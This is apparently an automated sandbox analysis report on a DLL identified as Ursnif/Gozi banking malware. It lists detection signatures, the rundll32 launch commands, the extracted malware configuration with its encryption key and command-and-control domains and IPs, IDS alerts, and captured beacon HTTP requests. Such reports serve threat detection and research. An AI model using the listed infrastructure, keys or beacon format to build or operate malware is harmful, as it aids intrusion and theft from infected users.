Edit tour

Windows Analysis Report
hFGZpat9Mf.dll

Overview

General Information

Sample Name:	hFGZpat9Mf.dll
Analysis ID:	560543
MD5:	9acde2c3e3a375590a1bc716eabc52c5
SHA1:	e231c9ae802a9aad9916f08256f7558f531d54ce
SHA256:	57f997217db22a4d97700768189d44034303e3b15dc08fa48ed6b91bd7051c05
Tags:	dllGoziISFBUrsnif
Infos:

Detection

Ursnif

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Multi AV Scanner detection for submitted file

Yara detected Ursnif

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Writes or reads registry keys via WMI

Found API chain indicative of debugger detection

Machine Learning detection for sample

Found evasive API chain (may stop execution after checking system information)

Sigma detected: Suspicious Call by Ordinal

Writes registry values via WMI

Contains functionality to detect sleep reduction / modifications

Uses 32bit PE files

Antivirus or Machine Learning detection for unpacked file

One or more processes crash

Contains functionality to query locales information (e.g. system language)

Contains functionality to shutdown / reboot the system

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to call native functions

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to dynamically determine API calls

Contains functionality to read the clipboard data

Contains functionality to record screenshots

IP address seen in connection with other malware

Creates a DirectInput object (often for capturing keystrokes)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

AV process strings found (often used to terminate AV products)

Installs a raw input device (often for capturing keystrokes)

Extensive use of GetProcAddress (often used to hide API calls)

PE file contains strange resources

Tries to load missing DLLs

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

Contains functionality to retrieve information about pressed keystrokes

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

May check if the current machine is a sandbox (GetTickCount - Sleep)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 988 cmdline: loaddll32.exe "C:\Users\user\Desktop\hFGZpat9Mf.dll" MD5: 7DEB5DB86C0AC789123DEC286286B938)

cmd.exe (PID: 5904 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\hFGZpat9Mf.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 3272 cmdline: rundll32.exe "C:\Users\user\Desktop\hFGZpat9Mf.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

WerFault.exe (PID: 4496 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3272 -s 684 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

cleanup

Malware Configuration

Threatname: Ursnif

{"RSA Public Key": "a/OOe3vutyE+gNUF58s+932DNMr8fczoarMUDWqkJsUgObu+3KDuWCwO4VJi2nQNFoXQ13xL3U4zAT7teC979D2YSjTERxwWBeeP0HeZqNq0qcAgYIwsDRVFhGgIWRlndn894LdhC+W8uyATPg1or5n2yZWlh+/NEBJX1nFopQ/z09NIGZPpSgelgd7Gl3dRww5rEsR2WK4eL7TmnaoLNu6StWcVsJ2/hdx1IvAw+0FHXO2OQVeCIyD0YqFOgVX4yIlMXSNJExST4L1Wc5wBukAkkdIxFsm7gsamW82tEhFe2W5TqQV7VVRxRARRhHVoEwzsqj+Q49089Kkixnoy1HXPNrN04rhNhyDNba5DkKY=", "c2_domain": ["config.edge.skype.com", "194.76.226.200", "giporedtrip.at", "habpfans.at", "31.214.157.187"], "botnet": "3000", "server": "50", "serpent_key": "YFyLBjaJo8V90gKm", "sleep_time": "1", "CONF_TIMEOUT": "20", "SetWaitableTimer_value": "0"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.777601117.0000000002A09000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000003.00000000.253570198.0000000001080000.00000040.00000800.00020000.00000000.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000003.00000002.315781287.0000000001080000.00000040.00000800.00020000.00000000.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000000.00000003.481994883.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.302599061.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.302425761.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000000.253536439.0000000000ED0000.00000040.00000800.00020000.00000000.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000003.00000002.315692460.0000000000ED0000.00000040.00000800.00020000.00000000.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000000.00000003.302331542.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000002.776718826.00000000009E0000.00000040.00000800.00020000.00000000.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000000.00000003.302218181.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.302044791.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000002.776603802.0000000000890000.00000040.00000800.00020000.00000000.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000003.00000000.254119232.0000000000ED0000.00000040.00000800.00020000.00000000.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000003.00000000.253543214.0000000000EE0000.00000040.00000800.00020000.00000000.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000000.00000002.776641923.00000000008A0000.00000040.00000800.00020000.00000000.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000003.00000000.254127070.0000000000EE0000.00000040.00000800.00020000.00000000.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000000.00000003.301848056.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000000.254160040.0000000001080000.00000040.00000800.00020000.00000000.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000000.00000003.302504649.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.301661083.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000002.777721996.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000002.315717603.0000000000EE0000.00000040.00000800.00020000.00000000.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
Process Memory Space: loaddll32.exe PID: 988	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Click to see the 19 entries

Unpacked PEs

Source	Rule	Description	Author
3.2.rundll32.exe.ee0000.2.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
3.0.rundll32.exe.ee0000.6.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
3.2.rundll32.exe.1080000.3.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
3.0.rundll32.exe.1080000.3.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
0.2.loaddll32.exe.9e0000.3.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
3.0.rundll32.exe.1080000.7.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
3.0.rundll32.exe.1080000.3.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
3.0.rundll32.exe.ed0184.5.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
3.2.rundll32.exe.ed0184.1.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
0.2.loaddll32.exe.9e0000.3.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
0.2.loaddll32.exe.2500000.4.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
3.2.rundll32.exe.1080000.3.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
0.2.loaddll32.exe.890184.1.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
3.0.rundll32.exe.1080000.7.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
3.0.rundll32.exe.ee0000.2.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
0.2.loaddll32.exe.2a094a0.5.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
0.2.loaddll32.exe.8a0000.2.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
0.2.loaddll32.exe.2a094a0.5.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
3.0.rundll32.exe.ed0184.1.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
Click to see the 14 entries

Sigma Overview

System Summary

Sigma detected: Suspicious Call by Ordinal

Source: Process started

Author: Florian Roth: Data: Command: rundll32.exe "C:\Users\user\Desktop\hFGZpat9Mf.dll",#1, CommandLine: rundll32.exe "C:\Users\user\Desktop\hFGZpat9Mf.dll",#1, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\rundll32.exe, NewProcessName: C:\Windows\SysWOW64\rundll32.exe, OriginalFileName: C:\Windows\SysWOW64\rundll32.exe, ParentCommandLine: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\hFGZpat9Mf.dll",#1, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5904, ProcessCommandLine: rundll32.exe "C:\Users\user\Desktop\hFGZpat9Mf.dll",#1, ProcessId: 3272

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000003.00000000.253536439.0000000000ED0000.00000040.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Ursnif {"RSA Public Key": "a/OOe3vutyE+gNUF58s+932DNMr8fczoarMUDWqkJsUgObu+3KDuWCwO4VJi2nQNFoXQ13xL3U4zAT7teC979D2YSjTERxwWBeeP0HeZqNq0qcAgYIwsDRVFhGgIWRlndn894LdhC+W8uyATPg1or5n2yZWlh+/NEBJX1nFopQ/z09NIGZPpSgelgd7Gl3dRww5rEsR2WK4eL7TmnaoLNu6StWcVsJ2/hdx1IvAw+0FHXO2OQVeCIyD0YqFOgVX4yIlMXSNJExST4L1Wc5wBukAkkdIxFsm7gsamW82tEhFe2W5TqQV7VVRxRARRhHVoEwzsqj+Q49089Kkixnoy1HXPNrN04rhNhyDNba5DkKY=", "c2_domain": ["config.edge.skype.com", "194.76.226.200", "giporedtrip.at", "habpfans.at", "31.214.157.187"], "botnet": "3000", "server": "50", "serpent_key": "YFyLBjaJo8V90gKm", "sleep_time": "1", "CONF_TIMEOUT": "20", "SetWaitableTimer_value": "0"}

Multi AV Scanner detection for submitted file

Source: hFGZpat9Mf.dll	Virustotal: Detection: 20%			Perma Link
Source: hFGZpat9Mf.dll	ReversingLabs: Detection: 32%

Antivirus detection for URL or domain

Source: http://habpfans.at/drew/AvYfyTR_2B2G3/_2F4h5ah/TJ34ZXtaMR1Oc3_2BPI0hI4/GdwumcM9XU/qAwknuMeebVU2QdSF/VN2ToaIYsZPU/kI1do_2B9jW/Q9gfyv85CoHPvT/SnqcLw3TTcQW61PNrLWiv/_2BkKhdRaMJkT9HD/82Fg3tERnOrn6Yg/fT2SNRr4ih8M1B9lEq/WIX8riitn/8yNrCBKJNgpm3khA4gSx/B8X3zDAJaQCYV1F4k99/jQHMcxYL/Il8wT6lWu/Ih.jlk	Avira URL Cloud: Label: malware
Source: http://giporedtrip.at/drew/vDXEGqf4EaI6e/GBZCusNA/wGFZ17UZEew5_2F3lztpfux/SlqAMrP7W1/XBD36Fnf1Eq7wA6HD/bZQhlGWv2oMx/02wZPYg1S9_/2FsBPVVzIGiliu/ZgesoO3_2BU1Itp9mWBBQ/zS9Fa06G7Ifi1Qdi/yVB_2BRlu8Zp_2B/LJtKQv4YtcqH6IAzxR/L6Ho0ZvfB/evXUKtmzU_2B4Fe1cs5B/1wJA25jdSjnKCVAyqP7/xAdhGKLVvM/CvkvXIJYGs/9.jlk	Avira URL Cloud: Label: malware
Source: http://habpfans.at/	Avira URL Cloud: Label: malware
Source: http://habpfans.at/drew/5tHE_2Fl/pXBoYLIb7sXj6_2FbgEdP7S/1g8RiyhGmo/7FzHWL9Gm5Pao_2Bw/5oh73gE4juwn/w	Avira URL Cloud: Label: malware
Source: http://giporedtrip.at/drew/CNAO_2FMqt2bQnnFTS9A/gZCx4lwGHYQjpKz_2Bo/eC3Q_2B6RQnBEorg_2FJk6/uEN67LHG_2FS5/_2BBd1X9/aVPauq0optO45rzbpdCQm0T/aYIRRNsEBo/KjgLaOYvR_2BgwzfQ/25S5OlQYXnss/XWKrlvnyLdL/zvJbW2nKGtMp_2/BhAqVJaOXmJzkoWYA4_2B/1sUQfL4pghiYPQ_2/Bk4zNXCpOm9uy6W/_2FwvvWoJCQywtXfuj/zSz8jbk7z4_2FaKsy/ujc.jlk	Avira URL Cloud: Label: malware
Source: http://habpfans.at/drew/5tHE_2Fl/pXBoYLIb7sXj6_2FbgEdP7S/1g8RiyhGmo/7FzHWL9Gm5Pao_2Bw/5oh73gE4juwn/wLkUkA7sRnm/cso3yuTSujNtgI/CMmvYVa7e4KaoltzEmBTc/sgUl10rzE9jSORq1/rqqMvEmtzS52b3S/MwqSqUIn0qJ41lN07l/ltNVceIDT/qjCtCMmp_2FbkkqAoDDI/2nZPBTOmmpjaMrj1ust/QMCPjE0wKPGXBQrFS0WE_2/B3SVbiens/K.jlk	Avira URL Cloud: Label: malware
Source: http://habpfans.at/drew/AvYfyTR_2B2G3/_2F4h5ah/TJ34ZXtaMR1Oc3_2BPI0hI4/GdwumcM9XU/qAwknuMeebVU2QdSF/	Avira URL Cloud: Label: malware
Source: http://habpfans.at/g	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: giporedtrip.at	Virustotal: Detection: 11%			Perma Link
Source: habpfans.at	Virustotal: Detection: 11%			Perma Link

Machine Learning detection for sample

Source: hFGZpat9Mf.dll

Joe Sandbox ML: detected

Source: 3.0.rundll32.exe.1080000.3.unpack	Avira: Label: TR/Crypt.XPACK.Gen8
Source: 0.2.loaddll32.exe.890184.1.unpack	Avira: Label: TR/Kazy.4159236
Source: 3.0.rundll32.exe.ed0184.5.unpack	Avira: Label: TR/Kazy.4159236
Source: 3.0.rundll32.exe.ed0184.1.unpack	Avira: Label: TR/Kazy.4159236
Source: 3.2.rundll32.exe.1080000.3.unpack	Avira: Label: TR/Crypt.XPACK.Gen8
Source: 0.2.loaddll32.exe.9e0000.3.unpack	Avira: Label: TR/Crypt.XPACK.Gen8
Source: 3.0.rundll32.exe.1080000.7.unpack	Avira: Label: TR/Crypt.XPACK.Gen8
Source: 3.2.rundll32.exe.ed0184.1.unpack	Avira: Label: TR/Kazy.4159236

Source: hFGZpat9Mf.dll

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, BYTES_REVERSED_LO, EXECUTABLE_IMAGE, DLL, LINE_NUMS_STRIPPED, BYTES_REVERSED_HI

Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000007.00000003.275895747.0000000004CA1000.00000004.00000800.00020000.00000000.sdmp, WerFault.exe, 00000007.00000003.261009852.0000000004A6B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: advapi32.pdbl source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: bcrypt.pdb source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: sfc_os.pdb source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000007.00000003.275998905.0000000004DD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 00000007.00000003.275895747.0000000004CA1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 00000007.00000003.275998905.0000000004DD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 00000007.00000003.275895747.0000000004CA1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 00000007.00000003.275998905.0000000004DD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000007.00000003.275895747.0000000004CA1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 00000007.00000003.275998905.0000000004DD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: msvcp_win.pdbk source: WerFault.exe, 00000007.00000003.275998905.0000000004DD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000007.00000003.275998905.0000000004DD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: version.pdb` source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000007.00000003.275895747.0000000004CA1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mpr.pdb source: WerFault.exe, 00000007.00000003.275998905.0000000004DD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000007.00000003.275895747.0000000004CA1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: setupapi.pdb source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: imagehlp.pdb source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: shcore.pdbk source: WerFault.exe, 00000007.00000003.275998905.0000000004DD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: profapi.pdb source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: winspool.pdb source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000007.00000003.275895747.0000000004CA1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: shell32.pdbk source: WerFault.exe, 00000007.00000003.275998905.0000000004DD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: iphlpapi.pdb source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: propsys.pdb source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: cfgmgr32.pdbk source: WerFault.exe, 00000007.00000003.275998905.0000000004DD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ucrtbase.pdbk source: WerFault.exe, 00000007.00000003.275998905.0000000004DD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: oleaut32.pdbv source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ole32.pdb source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: version.pdb source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wsspicli.pdbj source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: AcLayers.pdb source: WerFault.exe, 00000007.00000003.275895747.0000000004CA1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 00000007.00000003.275998905.0000000004DD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: comctl32v582.pdb source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 00000007.00000003.275998905.0000000004DD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 00000007.00000003.275998905.0000000004DD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 00000007.00000003.275998905.0000000004DD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: powrprof.pdbr source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: rundll32.pdb source: WerFault.exe, 00000007.00000003.275895747.0000000004CA1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: oleaut32.pdb source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: sfc.pdb source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000007.00000003.275895747.0000000004CA1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000007.00000003.275895747.0000000004CA1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: comctl32v582.pdbg source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007053C4 GetModuleHandleA,GetProcAddress,lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_00E153C4 GetModuleHandleA,GetProcAddress,lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,

Networking

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Source: Traffic	Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.5:49753 -> 13.107.42.16:80
Source: Traffic	Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.5:49758 -> 194.76.226.200:80
Source: Traffic	Snort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.5:49771 -> 211.119.84.112:80
Source: Traffic	Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.5:49771 -> 211.119.84.112:80
Source: Traffic	Snort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.5:49781 -> 41.41.255.235:80
Source: Traffic	Snort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.5:49812 -> 31.214.157.187:80
Source: Traffic	Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.5:49812 -> 31.214.157.187:80
Source: Traffic	Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.5:49814 -> 13.107.43.16:80
Source: Traffic	Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.5:49825 -> 181.129.180.251:80
Source: Traffic	Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.5:49827 -> 61.36.14.230:80
Source: Traffic	Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.5:49828 -> 31.214.157.187:80
Source: Traffic	Snort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.5:49829 -> 13.107.43.16:80
Source: Traffic	Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.5:49829 -> 13.107.43.16:80

Source: Joe Sandbox View	ASN Name: EPMTelecomunicacionesSAESPCO EPMTelecomunicacionesSAESPCO
Source: Joe Sandbox View	ASN Name: TE-ASTE-ASEG TE-ASTE-ASEG

Source: Joe Sandbox View

IP Address: 181.129.180.251 181.129.180.251

Source: global traffic	HTTP traffic detected: GET /drew/ozC7eSUmzahvYkYKrp/EnTXsLZQu/ZxwfzvyOea6Ms_2FcWiK/QVPuXmRecwMBmPtS2pP/K1YuqB0TTP3PJ7dc3csdFA/1Ac_2BGJ3ahfL/ClNkrX58/ZDofYbeDbIVvrUisO8PwbQv/pc3vAH6GWF/x_2B4_2BbH_2B0wxz/YCHkmZmDbaCX/aMf9JRtYupc/_2Ben2gyoQcqJb/gP1jDokjfsnRCuX4LwXIc/R6CnFb_2FUwS1dKT/G7Z9QUvFXshW5HS/y.jlk HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 194.76.226.200
Source: global traffic	HTTP traffic detected: GET /drew/CNAO_2FMqt2bQnnFTS9A/gZCx4lwGHYQjpKz_2Bo/eC3Q_2B6RQnBEorg_2FJk6/uEN67LHG_2FS5/_2BBd1X9/aVPauq0optO45rzbpdCQm0T/aYIRRNsEBo/KjgLaOYvR_2BgwzfQ/25S5OlQYXnss/XWKrlvnyLdL/zvJbW2nKGtMp_2/BhAqVJaOXmJzkoWYA4_2B/1sUQfL4pghiYPQ_2/Bk4zNXCpOm9uy6W/_2FwvvWoJCQywtXfuj/zSz8jbk7z4_2FaKsy/ujc.jlk HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: giporedtrip.at
Source: global traffic	HTTP traffic detected: GET /drew/5tHE_2Fl/pXBoYLIb7sXj6_2FbgEdP7S/1g8RiyhGmo/7FzHWL9Gm5Pao_2Bw/5oh73gE4juwn/wLkUkA7sRnm/cso3yuTSujNtgI/CMmvYVa7e4KaoltzEmBTc/sgUl10rzE9jSORq1/rqqMvEmtzS52b3S/MwqSqUIn0qJ41lN07l/ltNVceIDT/qjCtCMmp_2FbkkqAoDDI/2nZPBTOmmpjaMrj1ust/QMCPjE0wKPGXBQrFS0WE_2/B3SVbiens/K.jlk HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: habpfans.at
Source: global traffic	HTTP traffic detected: GET /drew/n9Q8SXORQfxecr/MW5_2Fu9_2Bgocr6670ju/D1JJTVEHrWL1TxqL/xGoJ_2FQlD36_2B/GkPBzrjzE3l7JBLY9O/1EFPlHsMW/m5HxfuFe9CAmeE3Sv9mV/WruJ_2B6bq6RWMaARg5/48WJvcYD9cWVaImnFjKYnp/qqfI438hlaFuV/Cz10Llo3/y28DCtREPMb5OZnUZKj2hAx/fvbD6E0k2X/xMHWSCI5symguz2Bp/FnCO_2F0QOq8/vwhEVJIxW/5.jlk HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 31.214.157.187
